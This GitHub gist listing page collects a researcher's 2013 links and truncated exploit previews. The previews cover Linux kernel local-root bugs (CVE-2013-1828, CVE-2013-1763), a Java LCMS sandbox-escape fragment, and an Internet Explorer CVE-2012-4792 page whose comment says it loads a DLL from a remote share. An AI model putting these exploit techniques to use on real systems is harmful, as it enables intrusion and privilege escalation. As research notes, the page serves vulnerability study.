Chen Qin hellok
hellok
/ gist:5097616
Created
March 6, 2013 08:24
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pwn python | |
| pwnpython.sinaapp.com | |
| http://www.doc88.com/p-776872822117.html | |
| https://github.com/ichuan/djblog django on sae | |
| https://github.com/SAEPython/saepythondevguide | |
| https://gist.github.com/nkchenz/1400023 good! | |
| OLD: | |
| isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://forensic-proof.com/archives/category/fundamentals | |
| http://computer-forensics.sans.org/training/course/windows-memory-forensics-in-depth | |
| http://forensicinsight.org/ | |
| http://forensicinsight.org/tools | |
| 时间轴整合分析（综合时间轴分析）： | |
| http://forensic-proof.com/archives/2323 | |
| 时间信息表示（时间则表达式）: | |
| http://forensic-proof.com/archives/617 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://code.google.com/p/volatility/ | |
| http://volatility-labs.blogspot.com/2013/01/the-1st-annual-volatility-framework.html | |
| http://volatility.googlecode.com/svn/trunk/ | |
| All submissions should be received no later than August 1, 2013 |
hellok
/ gist:5158695
Created
March 14, 2013 03:54
CVE-2013-1828 Linux Kernel SCTP_GET_ASSOC_STATS() Buffer Overflow
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Linux Kernel SCTP_GET_ASSOC_STATS() Buffer Overflow | |
| http://packetstormsecurity.com/files/120789/sctpgetassoc-local.txt | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <netinet/in.h> | |
| #include <sys/socket.h> | |
| #define SCTP_GET_ASSOC_STATS 112 | |
| #define SOL_SCTP 132 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb |
hellok
/ gist:5158940
Created
March 14, 2013 05:00
CVE-2013-1763 SOCK_DIAG vulnerability in Linux kernel 3.3 to 3.8 Demo
local root
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://pastebin.com/gwn1qErx | |
| poc:http://sysc.tl/mpougatsa_me_krema_kai_milko.tgz |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-0809 | |
| http://icedtea.classpath.org/hg/release/icedtea7-forest-2.3/jdk/rev/fa09ada25c47 | |
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-1493 | |
| http://icedtea.classpath.org/hg/release/icedtea7-forest-2.3/jdk/rev/4f97a6256473 | |
| //////////////////////////////////////////////////////////// | |
| http://icedtea.classpath.org/hg/release/icedtea6-1.12/file/2e114710f951/patches/security | |
| 2.1 --- a/NEWS Tue Feb 19 16:15:47 2013 -0500 | |
| 2.2 +++ b/NEWS Wed Feb 20 11:41:10 2013 +1100 | |
| 2.3 @@ -13,8 +13,8 @@ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public void try1() throws Throwable | |
| { | |
| LCMSTransform trans; | |
| BufferedImage image=new BufferedImage(255, 255, 1); | |
| LCMS sda=new LCMS(); | |
| Object arrayOfObject[] = new Object[2]; | |
| arrayOfObject[0] = sda; | |
| arrayOfObject[1] = image; | |
| Expression localExpression = new Expression(GetClass("sun.java2d.cmm.lcms"), "LCMSImageLayout", arrayOfObject); | |
| localExpression.execute(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://www.nirgoldshlager.com/2013/02/how-i-hacked-facebook-oauth-to-get-full.html | |
| http://www.nirgoldshlager.com/2013/03/how-i-hacked-any-facebook-accountagain.html | |
| OAuth | |
| http://blog.knownsec.com/2013/03/attack-your-android-apps-by-webview/ |
hellok
/ gist:5185526
Created
March 18, 2013 07:12
CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT"
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //http://pastebin.com/Y95c831m | |
| <!doctype html> | |
| <html> | |
| <head> | |
| <script> | |
| // CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT" in CanSecWest 2013 | |
| // Effective in 32-bit IE on x64 Windows | |
| // Will load \\192.168.59.128\x\x.dll | |
| // https://twitter.com/tombkeeper | |
| function GIFT() { |
OlderNewer